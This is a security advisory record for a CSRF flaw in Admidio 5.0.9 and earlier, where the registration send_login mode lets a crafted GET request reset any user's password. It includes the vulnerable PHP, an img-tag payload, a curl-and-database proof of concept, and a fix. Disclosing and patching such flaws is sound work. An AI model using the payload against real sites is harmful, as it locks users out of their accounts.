{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47228"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T21:58:44Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027])` first; the `send_login` branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin\u0027s `SameSite=Lax` cookies, and the server resets the chosen user\u0027s password without any further interaction from the admin.\n\n## Details\n\n### Vulnerable Code\n\n`modules/registration.php:124-138`:\n\n```php\n} elseif ($getMode === \u0027send_login\u0027) {\n    // User already exists and has a login than sent access data with a new password\n    $user = new User($gDb, $gProfileFields);\n    $user-\u003ereadDataByUuid($getUserUUIDAssigned);\n    $user-\u003esendNewPassword();\n\n    // delete the registration because it isn\u0027t necessary anymore\n    $registrationUser-\u003enotSendEmail();\n    $registrationUser-\u003edelete();\n    admRedirect(ADMIDIO_URL.FOLDER_MODULES.\u0027/registration.php\u0027);\n    // =\u003e EXIT\n}\n```\n\nThe four sibling branches all begin with `SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);` \u2014 for example `delete_user` at lines 110-118:\n\n```php\n} elseif ($getMode === \u0027delete_user\u0027) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    // delete registration\n    $registrationUser-\u003edelete();\n    echo json_encode(array(\u0027status\u0027 =\u003e \u0027success\u0027));\n    exit();\n}\n```\n\n`User::sendNewPassword()` (`src/User/Entity/User.php`) calls `setPassword(PasswordUtils::generatePassword())` and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator\u0027s SMTP is unconfigured, the victim\u0027s password is still reset.\n\nThe handler accepts `GET` (no enforcement of HTTP method, no `$_POST` requirement), so an `\u003cimg src=...\u003e` or auto-submitting form is sufficient.\n\n### Exploitation Flow\n\n1. Attacker prepares a \"pending registration\" row anywhere they can \u2014 either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.\n2. Attacker hosts a page that issues:\n   `\u003cimg src=\"https://victim.example/admidio/modules/registration.php?mode=send_login\u0026user_uuid={pending_registration_uuid}\u0026user_uuid_assigned={victim_user_uuid}\"\u003e`\n3. A registration-administrator (someone with `isAdministratorRegistration()` \u2014 usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio\u0027s session cookie does not set `SameSite=Strict`).\n4. Admidio\u0027s handler runs as that admin. It loads the assigned user, calls `User::sendNewPassword()` which writes a fresh bcrypt hash to `adm_users.usr_password`, and queues the cleartext password to be e-mailed to the user.\n5. The victim user\u0027s old password no longer works.\n\nThe cleartext lands in the *victim\u0027s* mailbox, not the attacker\u0027s, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.\n\n## PoC\n\nTested locally against HEAD `c5cde53`. The reproducer confirms the password column changes server-side without any user interaction beyond an admin\u0027s `GET` to the crafted URL.\n\n```\n# 0. observe current admin password hash (the testadmin from install)\nmariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);\"\nusr_id  usr_login_name  pwd\n2       testadmin       $2y$12$AB.h\n7       victim          $2y$12$L9q3\n\n# 1. attacker creates a pending registration with user_uuid pointing at \"victim\"\nmariadb ... admidio -e \"INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)\n                       VALUES (1, 7, NOW());\"\n# (the pending row gives the request a valid user_uuid for $registrationUser-\u003edelete())\n\n# 2. crafted CSRF endpoint, hit from a third-party page in the admin\u0027s browser:\n#    no adm_csrf_token, GET only\ncurl -b $admin_cookie \\\n   \"http://127.0.0.1:8085/modules/registration.php?mode=send_login\u0026user_uuid=$pending_uuid\u0026user_uuid_assigned=\u003cvictim_uuid\u003e\"\n\n# 3. observe the victim\u0027s password hash has changed\nmariadb ... admidio \\\n    -e \"SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;\"\nusr_id  usr_login_name  pwd\n7       victim          $2y$12$w5lQ\n```\n\nThe hash before the attack was `$2y$12$L9q3...`; after the attack it is `$2y$12$w5lQ...`. The victim\u0027s previously-known password no longer authenticates them.\n\nThe same call against `user_uuid_assigned=\u003cadmin\u0027s uuid\u003e` resets the admin\u0027s own password \u2014 locking out the registration-administrator from their own account.\n\n## Impact\n\nA registration-administrator who visits a hostile page is silently coerced into resetting any user\u0027s password.\n\n* **Account lockout / DoS.** The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim\u0027s mailbox.\n* **Phish-flavoured social engineering.** The unsolicited \"your new Admidio password is \u2026\" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.\n* **Self-targetable.** Because the attacker also controls the public self-registration flow, they can reliably create a `pending_registration` row whose `user_uuid_assigned` points at any chosen victim.\n\n`UI:R` reflects that an admin must visit a page; `PR:N` because the *attacker* needs no Admidio credentials; `I:H` because user authentication state is destroyed; `A:L` because the affected user is locked out of an account but the platform stays up.\n\n## Recommended Fix\n\nAdd a CSRF check at the top of the branch and require POST:\n\n```php\n} elseif ($getMode === \u0027send_login\u0027) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n\n    if ($_SERVER[\u0027REQUEST_METHOD\u0027] !== \u0027POST\u0027) {\n        throw new Exception(\u0027SYS_INVALID_PAGE_VIEW\u0027);\n    }\n\n    $user = new User($gDb, $gProfileFields);\n    $user-\u003ereadDataByUuid($getUserUUIDAssigned);\n    $user-\u003esendNewPassword();\n    ...\n}\n```\n\nA regression test should issue `GET /modules/registration.php?mode=send_login\u0026...` from a session that has no current page (no in-session form key) and assert that `usr_password` is unchanged.",
  "id": "GHSA-mx25-j3rc-6w2w",
  "modified": "2026-05-29T21:58:44Z",
  "published": "2026-05-29T21:58:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio\u0027s CSRF in registration `send_login` mode resets arbitrary user passwords"
}